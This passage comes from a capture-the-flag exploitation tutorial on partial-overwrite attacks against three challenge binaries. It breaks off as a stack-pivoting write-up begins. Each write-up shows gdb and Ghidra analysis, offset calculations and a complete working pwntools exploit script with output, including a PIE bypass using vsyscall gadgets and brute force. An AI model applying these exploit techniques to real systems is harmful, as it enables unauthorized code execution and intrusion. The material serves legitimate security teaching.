  puts("To download the flag, you need to specify a password.");
  printf("Length of password: ");
  passwordLength = 0;
  iVar1 = __isoc99_scanf(&DAT_001013e3,&passwordLength);
  if (iVar1 != 1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if ((passwordLength < 1) || (0x32 < passwordLength)) {
    passwordLength = 0x5a;
  }
  bytesRead = fread(passwordInput,1,(long)passwordLength,stdin);
  if (bytesRead != (long)passwordLength) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar1 = strcmp((char *)passwordInput,real_password);
  return (ulong)(iVar1 == 0);
}
```

So we can see here, it essentially prompts us for a password length, then scans in that much data into `passwordInput`. We can see that this is clearly a buffer overflow bug. However there are a few obstacles we need to consider. First it checks to see if the bytes it scanned in is equal to the length we provided. In addition to that if the length we provide is less than `1` or greater than `0x32`, our length is set to `0x5a`. If it doesn't pass the length check the `exit` function is called and we don't get code execution.

Let's see what the distance is between the start of our input and the return address is. First we set the breakpoint and specify to follow the child process on fork in gdb:

```
gef➤  set follow-fork-mode child
gef➤  r
Starting program: /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff
/stackstuff
[Attaching after process 6338 fork to child process 6345]
[New inferior 2 (process 6345)]
[Detaching after fork from parent process 6338]
[Inferior 1 (process 6338) detached]
process 6345 is executing new program: /Hackery/pod/modules/partial_overwrite
/hacklu15_stackstuff/stackstuff
[Switching to process 6345]
```

Then we give our input via netcat:

```
$    nc 127.0.0.1 1514
Hi! This is the flag download service.
To download the flag, you need to specify a password.
Length of password: 8
15935728
```

And then we hit our breakpoint in gdb:

```
Thread 2.1 "exe" hit Breakpoint 1, 0x0000555555554f7e in check_password_correct
()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────
registers ────
$rax   : 0x8
$rbx   : 0x0
$rcx   : 0x3832373533393531 ("15935728"?)
$rdx   : 0x8
$rsp   : 0x00007fffffffde90  →  0x0000000000000000
$rbp   : 0x0000555555555310  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007ffff7fb3590  →  0x0000000000000000
$rdi   : 0x00007fffffffdea0  →  "15935728"
$rip   : 0x0000555555554f7e  →  <check_password_correct+172> mov rdx, rax
$r8    : 0xc00
$r9    : 0x00007ffff7fb0a00  →  0x00000000fbad2088
$r10   : 0x3
$r11   : 0x00007ffff7e4e8a0  →  <fread+0> push r14
$r12   : 0x0000555555554d70  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe090  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────
stack ────
0x00007fffffffde90│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffde98│+0x0008: 0x00000008f7e5c0f3
0x00007fffffffdea0│+0x0010: "15935728"     ← $rdi
0x00007fffffffdea8│+0x0018: 0x0000000000000000
0x00007fffffffdeb0│+0x0020: 0x0000000000000000
0x00007fffffffdeb8│+0x0028: 0x0000000000000000
0x00007fffffffdec0│+0x0030: 0x0000000000000000
0x00007fffffffdec8│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────
code:x86:64 ────
   0x555555554f70 <check_password_correct+158> adc    BYTE PTR [rsi+0x1], bh
   0x555555554f76 <check_password_correct+164> mov    rdi, rax
   0x555555554f79 <check_password_correct+167> call   0x555555554bd0 <fread@plt>
 → 0x555555554f7e <check_password_correct+172> mov    rdx, rax
   0x555555554f81 <check_password_correct+175> mov    eax, DWORD PTR [rsp+0xc]
   0x555555554f85 <check_password_correct+179> cdqe
   0x555555554f87 <check_password_correct+181> cmp    rdx, rax
   0x555555554f8a <check_password_correct+184> je     0x555555554f96
<check_password_correct+196>
   0x555555554f8c <check_password_correct+186> mov    edi, 0x0
────────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "exe", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────
trace ────
```

```
[#0] 0x555555554f7e → check_password_correct()
[#1] 0x555555554fd1 → require_auth()
[#2] 0x55555555508b → handle_request()
[#3] 0x55555555512d → main()
```

```
gef➤  i f
Stack level 0, frame at 0x7fffffffdef0:
 rip = 0x555555554f7e in check_password_correct; saved rip = 0x555555554fd1
 called by frame at 0x7fffffffdf00
 Arglist at 0x7fffffffde88, args:
 Locals at 0x7fffffffde88, Previous frame's sp is 0x7fffffffdef0
 Saved registers:
  rip at 0x7fffffffdee8
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x555555756000-0x555555777000), permission=rw-
  0x555555756490 - 0x555555756498  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdea0 - 0x7fffffffdea8  →   "15935728"
gef➤  x/4g 0x7fffffffdee8
0x7fffffffdee8:    0x555555554fd1    0x0
0x7fffffffdef8:    0x55555555508b    0x2
```

So we can see that the offset is `0x7fffffffdee8 - 0x7fffffffdea0 = 0x48`. Since this is above `0x32` and the length check, that means we have to give `0x5a` bytes worth of input. That means with our overflow we will have to overwrite the saved return address, the next qword, and the two lowest bytes of the next address (in this case the address at `0x7fffffffdef8`).

Exploitation

So for our exploit, we will be doing a partial overwrite. We will be doing this to bypass PIE's address randomization, however there will be abit of brute forcing needed (we will cover that later). However before we do that, we will be doing an overwrite of the saved return address and the QWORD next to it. For that we will need to find a valid instruction pointer to place there, which will essentially just return, and act as a placeholder to execute the address which we partially overwrote. However the problem with this is that PIE is enabled, and since we don't have any infoleaks we can't call rop gadgets from the PIE or libc segments. This is where vsyscalls will come in handy:

```
ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery
/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery
/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-
linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-
linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000
0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
   0xffffffffff600800:    mov    rax,0x135
   0xffffffffff600807:    syscall
   0xffffffffff600809:    ret
   0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
   0xffffffffff600800:    mov    rax,0x135
   0xffffffffff600807:    syscall
   0xffffffffff600809:    ret
   0xffffffffff60080a:    int3
```

The purpose of vsyscalls is to increase performance by offloading certain syscalls to the userspace binary, however they are still a part of the kernel. The beneficial part of vsyscalls is that their addresses are fixed and aren't randomized. As a result, we don't need an infoleak to call them. For which one to call, I just went with `0xffffffffff600800`. I initially tried jumping straight to a `ret` instruction, however it would crash after the second gadget. So I tried jumping to the start of a syscall and it worked. If we place that rop gadget twice as the saved return address and the next QWORD, that will bring the code execution right to the address we partially overwrote.

Now for the partial overwrite. We can see that the address that we are going to be overwritten is going to be `0x000055555555508b` which is `handle_request+177`:

```
gef➤  x/4g 0x7fffffffdee8
0x7fffffffdee8:    0x0000555555554fd1    0x0000000000000000
0x7fffffffdef8:    0x000055555555508b    0x0000000000000002
gef➤  x/i 0x000055555555508b
   0x55555555508b <handle_request+177>:    lea    rsi,[rip+0x36d]        #
0x5555555553ff
```

Since if we were to reach that spot in the code we will get the flag, we will be overwriting it to be the same address. However there is one complication. That is that the base address is `0x0000555555554000`. This means that the randomization doesn't apply to the last `12` bits (since they are zeroed out, and the address is the base address plus the offset, the address will just be whatever the offset is). However since we need to overwrite the 16 least significant bits, we will have to brute force 4 of those bits. Since 2 to the power of 4 is 16, we should be able to guess the address in at most `16` tries.

Also one small thing, while debugging this program, you may need to view the pid and kill it.

Exploit

Putting it all together, we have the following exploit:

```python
from pwn import *

targetProcess = process('./stackstuff')
#gdb.attach(targetProcess)

# Initialize constants
flag = 0
i = 0x00

# Enter into the loop to brute force it
while flag == 0:

    # Establish the connection
    target = remote('127.0.0.1', 1514)

    # Filler from start of our input to return address
    payload = "0"*0x48

    # Our vsyscall gadget to act essentially as a rop nop
    vsyscall_ret = p64(0xffffffffff600800)

    payload += vsyscall_ret*2

    # Our least significant byte of our partial overwrite
    payload += "\x8b"

    # The byte which we will be brute forcing
    payload += chr(i)

    # Specify length of our input to be 90 bytes
    target.sendline('90')

    # Send the payload
    target.sendline(payload)

    target.recvuntil("Length of password: ")
    try:
        # Executes if we got the flag
        print "flag: " + target.recvline()
        flag = 1
    except:
        # Didn't get the flag, try next byte
        # Also we know that the lower 4 bits of this byte is 0x0
        print "tried: " + hex(i)
        i += 0x10
```

When we run it:

```
python exploit.py
[+] Starting local process './stackstuff': pid 13491
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x0
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x10
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x20
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x30
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x40
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x50
[+] Opening connection to 127.0.0.1 on port 1514: Done
flag: flag{g0ttem_b0yz}

[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Stopped process './stackstuff' (pid 13491)
```

Just like that, we got the flag!

tamu 2019 pwn2

The goal of this challenge is to get the challenge to print the contents of `flag.txt`, not popping a shell.

Let's take a look at the binary:

```
$    file pwn2
pwn2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=c3936da4c051f1ca58585ee8b243bc9c4a37e437, not stripped
$    pwn checksec pwn2
[*] '/Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./pwn2
Which function would you like to call?
15935728
```

So we can see that we are dealing with a `32` bit binary, with Relro, NX, and PIE. When we run it, it prompts us for input.

Reversing

When we take a look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

undefined4 main(void)

{
  char input [31];

  setvbuf(stdout,(char *)0x2,0,0);
  puts("Which function would you like to call?");
  gets(input);
  select_func(input);
  return 0;
}
```

So we can see that it calls `gets` to scan in data into `input` (so we have one buffer overflow bug there). Before returning it passes our input to the `select_func` function:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void select_func(char *param_1)

{
  int cmp;
  char input [30];
  undefined *functionCall;

  strncpy(input,param_1,0x1f);
  cmp = strcmp(input,"one");
  functionCall = two;
  if (cmp == 0) {
    functionCall = one;
  }
  (*(code *)functionCall)();
  return;
}
```

So we can see here, it makes an indirect call of the instruction pointer stored in `functionCall`. It is initialized to the function `two`, and if our input starts with `one\x00` it will be changed to the address of the function `one`. The first `0x1f` (`31`) bytes of our input passed in as an argument in copied to the char buffer `input`, which can only hold `30` bytes. This gives us a one byte overflow, which will allow us to overwrite the least significant byte of `functionCall`.

Also one other thing, a bit of the disassembly here is wrong. Specifically where `functionCall` is initialized to be the address of `two`. When we look at the assembly code, we see that it happens before the `strncpy` call:

```
        00010791 8d 83 f5        LEA         EAX,[0xffffe6f5 + EBX]=>two
                 e6 ff ff
        00010797 89 45 f4        MOV         dword ptr [EBP +
functionCall],EAX=>two
        0001079a 83 ec 04        SUB         ESP,0x4
        0001079d 6a 1f           PUSH        0x1f
        0001079f ff 75 08        PUSH        dword ptr [EBP + param_1]
        000107a2 8d 45 d6        LEA         EAX=>input,[EBP + -0x2a]
        000107a5 50              PUSH        EAX
        000107a6 e8 a5 fd        CALL        strncpy
char * strncpy(char * __dest, ch
                 ff ff
```

Also we can see that if we can call the function `print_flag` at offset `0x6d8`, we get the flag.

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void print_flag(void)

{
  FILE *__fp;
  int iVar1;

  puts("This function is still under development.");
  __fp = fopen("flag.txt","r");
  while( true ) {
    iVar1 = _IO_getc((_IO_FILE *)__fp);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
  putchar(10);
  return;
}
```

Exploitation

So we have a one byte overflow for the least significant byte of the function pointer that is called. Let's take a closer look at the address we are calling, and the address of `print_flag`:

```
gef➤  pie b *0x7d4
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Which function would you like to call?
1111111111111111111111111111111

Breakpoint 1, 0x565557d4 in select_func ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────
registers ────
$eax   : 0x56555631  →  <register_tm_clones+49> add BYTE PTR [eax], al
$ebx   : 0x56556fb8  →  0x00001ec0
$ecx   : 0x6f
$edx   : 0xffffd09e  →  "1111111111111111111111111111111VUV"
$esp   : 0xffffd090  →  0x00000000
$ebp   : 0xffffd0c8  →  0xffffd108  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x565557d4  →  <select_func+85> call eax
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────
stack ────
0xffffd090│+0x0000: 0x00000000     ← $esp
0xffffd094│+0x0004: 0x0000000a
0xffffd098│+0x0008: 0x00000026 ("&"?)
0xffffd09c│+0x000c: 0x3131de24
0xffffd0a0│+0x0010: "11111111111111111111111111111VUV"
0xffffd0a4│+0x0014: "1111111111111111111111111VUV"
0xffffd0a8│+0x0018: "111111111111111111111VUV"
0xffffd0ac│+0x001c: "11111111111111111VUV"
────────────────────────────────────────────────────────────────────────────────────
code:x86:32 ────
   0x565557c3 <select_func+68> adc    BYTE PTR [ebp-0x72f68a40], al
   0x565557c9 <select_func+74> sbb    DWORD PTR [edi+eiz*8+0x4589ffff],
0xfffffff4
   0x565557d1 <select_func+82> mov    eax, DWORD PTR [ebp-0xc]
 → 0x565557d4 <select_func+85> call   eax
   0x565557d6 <select_func+87> nop
   0x565557d7 <select_func+88> mov    ebx, DWORD PTR [ebp-0x4]
   0x565557da <select_func+91> leave
   0x565557db <select_func+92> ret
   0x565557dc <main+0>         lea    ecx, [esp+0x4]
────────────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
*0x56555631 (
   [sp + 0x0] = 0x00000000,
   [sp + 0x4] = 0x0000000a,
   [sp + 0x8] = 0x00000026,
   [sp + 0xc] = 0x3131de24
```

```
)
```

```
threads ────
[#0] Id 1, Name: "pwn2", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x565557d4 → select_func()
[#1] 0x5655583d → main()
```

```
gef➤  p $eax
$1 = 0x56555631
gef➤  p two
$2 = {<text variable, no debug info>} 0x565556ad <two>
gef➤  p print_flag
$3 = {<text variable, no debug info>} 0x565556d8 <print_flag>
gef➤  vmmap
Start      End        Offset     Perm Path
0x56555000 0x56556000 0x00000000 r-x /Hackery/pod/modules/partial_overwrite
/tamu19_pwn2/pwn2
0x56556000 0x56557000 0x00000000 r-- /Hackery/pod/modules/partial_overwrite
/tamu19_pwn2/pwn2
0x56557000 0x56558000 0x00001000 rw- /Hackery/pod/modules/partial_overwrite
/tamu19_pwn2/pwn2
0x56558000 0x5657a000 0x00000000 rw- [heap]
0xf7dd9000 0xf7df6000 0x00000000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7df6000 0xf7f46000 0x0001d000 r-x /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7f46000 0xf7fb2000 0x0016d000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb2000 0xf7fb3000 0x001d9000 --- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb3000 0xf7fb5000 0x001d9000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb5000 0xf7fb7000 0x001db000 rw- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb7000 0xf7fb9000 0x00000000 rw-
0xf7fce000 0xf7fd0000 0x00000000 rw-
0xf7fd0000 0xf7fd3000 0x00000000 r-- [vvar]
0xf7fd3000 0xf7fd4000 0x00000000 r-x [vdso]
0xf7fd4000 0xf7fd5000 0x00000000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7fd5000 0xf7ff1000 0x00001000 r-x /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ff1000 0xf7ffb000 0x0001d000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 0x00027000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 0x00028000 rw- /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
```

So we can see that we were able to overwrite the least significant byte with `0x31`. The address that it is initialized to is `0x565556ad`, and the address we want to set it to is `0x565556d8` (for `print_flag`). The difference between these two is just the least significant byte. So we can just overwrite the least significant byte to be `0xd8`, and that will call `print_flag`. We can see that the PIE base is `0x56555000`, and since the least significant byte of the base is `0x00` PIE's randomization doesn't apply to the least significant byte (since `0x00` plus the least significant byte of the PIE offset is whatever the least significant byte of the offset is).

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

# Declare the target
target = process('./pwn2')
#gdb.attach(target, gdbscript='pie b *0x7bc')

# Make and send the payload
payload = "0"*0x1e + "\xd8"
target.sendline(payload)

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './pwn2': pid 11453
[*] Switching to interactive mode
Which function would you like to call?
This function is still under development.
flag{g0ttem_b0yz}

[*] Got EOF while reading in interactive
```

Just like that, we got the flag!

Tuctf 2017 vuln chat 2

The goal for this challenge is to print the contents of `flag.txt`, not pop a shell.

Let's take a look at the binary:

```
$    file vuln-chat2.0
vuln-chat2.0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=093fe7a291a796024f450a3081c4bda8a215e6e8, not stripped
$    pwn checksec vuln-chat2.0
[*] '/Hackery/pod/modules/partial_overwrite/tuctf17_vulnchat2/vuln-chat2.0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./vuln-chat2.0
----------- Welcome to vuln-chat2.0 -------------
Enter your username: guyinatuxedo
Welcome guyinatuxedo!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
guyinatuxedo: 15935728
djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
```

So we can see we are dealing with a `32` bit binary, with a Non-Executable stack. When we run it, we see it first prompts us for a username. After that it prompts us for information we need. After that it prints a flag, but it isn't the one we need.

Reversing

When we look at the main function in Ghidra, we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

undefined4 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0x14);
  doThings();
  return 0;
}
```

So we can see here, it essentially just calls `doThings`:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void doThings(void)

{
  undefined inp1 [20];
  undefined inp0 [15];

  puts("----------- Welcome to vuln-chat2.0 -------------");
  printf("Enter your username: ");
  __isoc99_scanf(&DAT_08048798,inp0);
  printf("Welcome %s!\n",inp0);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: You\'ve proven yourself to me. What information do you need?");
  printf("%s: ",inp0);
  read(0,inp1,0x2d);
  puts("djinn: Alright here\'s you flag:");
  puts("djinn: flag{1_l0v3_l337_73x7}");
  puts("djinn: Wait thats not right...");
  return;
}
```

We can see that the value of `DAT_08048798` is `%15s`:

```
                                DAT_08048798
XREF[2]:     doThings:0804858f(*),

doThings:08048595(*)
        08048798 25             ??          25h    %
        08048799 31             ??          31h    1
        0804879a 35             ??          35h    5
        0804879b 73             ??          73h    s
        0804879c 00             ??          00h
```

So we can see it essentially prompts us for input twice (in addition to printing out a lot of text). The first time it prompts us for input, it scans in `15` bytes worth of data into `inp0`, which holds `15` bytes worth of data (no overflow here). The second scan scans in `0x2d` bytes worth of data into `inp1` which holds `20` bytes of data, so we have an overflow. Let's see what the offset is from the start of our input to the saved return address is:

```
registers ────
$eax   : 0x1f
$ebx   : 0x08049b08  →  0x08049a18  →  0x00000001
$ecx   : 0xf7fb7010  →  0x00000000
$edx   : 0x1f
$esp   : 0xffffd0c0  →  0x08048870  →  "djinn: Wait thats not right..."
$ebp   : 0xffffd0ec  →  0xffffd0f8  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x08048635  →  <doThings+218> add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffd0c0│+0x0000: 0x08048870  →  "djinn: Wait thats not right..."     ← $esp
0xffffd0c4│+0x0004: 0x393531f8
0xffffd0c8│+0x0008: 0x32373533
0xffffd0cc│+0x000c: 0xffff0a38  →  0x00000000
0xffffd0d0│+0x0010: 0x08049b08  →  0x08049a18  →  0x00000001
0xffffd0d4│+0x0014: 0xf7fb5000  →  0x001dbd6c
0xffffd0d8│+0x0018: 0x79756700
0xffffd0dc│+0x001c: "inatuxedo"
```

```
code:x86:32 ────
    0x8048625 <doThings+202>   inc    DWORD PTR [ebx-0x7c72fb3c]
    0x804862b <doThings+208>   push   0x50ffffed
    0x8048630 <doThings+213>   call   0x8048400 <puts@plt>
 →  0x8048635 <doThings+218>   add    esp, 0x4
    0x8048638 <doThings+221>   mov    ebx, DWORD PTR [ebp-0x4]
    0x804863b <doThings+224>   leave
    0x804863c <doThings+225>   ret
    0x804863d <main+0>         push   ebp
    0x804863e <main+1>         mov    ebp, esp
```

```
threads ────
[#0] Id 1, Name: "vuln-chat2.0", stopped, reason: BREAKPOINT
```

```
trace ────
[#0] 0x8048635 → doThings()
[#1] 0x8048668 → main()
```

```
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd0c5 - 0xffffd0cd  →   "15935728[...]"
gef➤  i f
Stack level 0, frame at 0xffffd0f4:
 eip = 0x8048635 in doThings; saved eip = 0x8048668
 called by frame at 0xffffd100
 Arglist at 0xffffd0ec, args:
```

```
  Locals at 0xffffd0ec, Previous frame's sp is 0xffffd0f4
  Saved registers:
   ebx at 0xffffd0e8, ebp at 0xffffd0ec, eip at 0xffffd0f0
```

So we can see that the offset is `0xffffd0f0 - 0xffffd0c5 = 0x2b`. Since our input is `0x2d` bytes, this means we can overwrite `0x2d - 0x2b = 0x2` bytes of the saved return address.

Also we can see that there is a function at `0x8048672` called `printFlag`, that if we call it we will get the flag:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */

void printFlag(void)

{
  puts("Ah! Found it");
  system("/bin/cat ./flag.txt");
  puts("Don\'t let anyone get ahold of this");
  return;
}
```

Exploitation

So we will be doing a partial overwrite. In this case, we will only be overwriting the least significant byte of the return address. When we looked at the saved return address, we saw that it was equal to `0x8048668`. The function we are trying to call (`printFlag`) is at `0x8048672`. Since the only difference between the two addresses is the least significant byte (which we will overwrite to be `0x` 72), we only need to overwrite that to call `printFlag`.

Also even though we don't have to deal with address randomization in this challenge thanks to there not being PIE, a lot of the time that is where partial overwrites come in handy. That is because since the base address usually ends in a null byte (or multiple) the randomization doesn't apply to the lower bytes. So if we overwrite the lower bytes, it gives us a range that we can jump to without an infoleak.

Exploit

Putting it all together, we have the following exploit:

```
#Import pwntools
from pwn import *

#Establish the target
#target = process('vuln-chat2.0')
target = remote('vulnchat2.tuctf.com', 4242)

#Print out the text up to the username prompt
print target.recvuntil('Enter your username: ')

#Send the username, doesn't really matter
target.sendline('guyinatuxedo')

#Print the text up to the next prompt
print target.recvuntil('guyinatuxedo: ')

#Construct the payload, and send it
payload = `0`*0x2b + "\x72"
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
```

When we run it:

```
$    python exploit.py
[!] Could not find executable 'vuln-chat2.0' in $PATH, using './vuln-chat2.0'
instead
[+] Starting local process './vuln-chat2.0': pid 10483
----------- Welcome to vuln-chat2.0 -------------
Enter your username:
Welcome guyinatuxedo!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
guyinatuxedo:
[*] Switching to interactive mode
djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
flag{g0ttem_b0yz}
Don't let anyone get ahold of this
[*] Got EOF while reading in interactive
```

Just like that, we got the flag!

Stack Pivoting

Defcon Quals 2019 Speedrun 4

Let's take a look at the binary:

```
$    file speedrun-004
speedrun-004: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 3.2.0,
BuildID[sha1]=3633fdca0065d9365b3f0c0237c7785c2c7ead8f, stripped
$    pwn checksec speedrun-004
[*] '/Hackery/defcon/speedrun/s4/speedrun-004'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./speedrun-004
i think i'm getting better at this coding thing.
how much do you have to say?
15935728
That's too much to say!.
see ya later slowpoke.
```

So it is a `64` bit statically linked binary with `NX`. When we run it, it just prompts us for some input via stdin.

Reversing

Reversing out the binary with Ghidra, we find this function:

```
undefined8
FUN_00400c46(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8
uParm4,
            undefined8 uParm5,undefined8 uParm6)

{
  long lVar1;

  FUN_00410e30(PTR_DAT_006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN_0040e840("DEBUG");
  if (lVar1 == 0) {
    FUN_004498e0(5);
  }
  betterCoding();
  funStuff();
  slowpoke();
  return 0;
}
```

Realistically the part we care about here, is that the `funStuff` function is called. The `betterCoding` and `slowpoke` functions essentially just print text. Looking at the `funStuff` function, we see this:

```
void funStuff(void)

{
  undefined inputSize [9];
  undefined local_d;
  uint size;

  print("how much do you have to say?");
  fgets(0,inputSize,9);
  local_d = 0;
  size = atoi(inputSize);
  if ((int)size < 1) {
    print("That\'s not much to say.");
  }
  else {
    if ((int)size < 0x102) {
      scanInput((ulong)size);
    }
    else {
      print("That\'s too much to say!.");
    }
  }
  return;
}
```

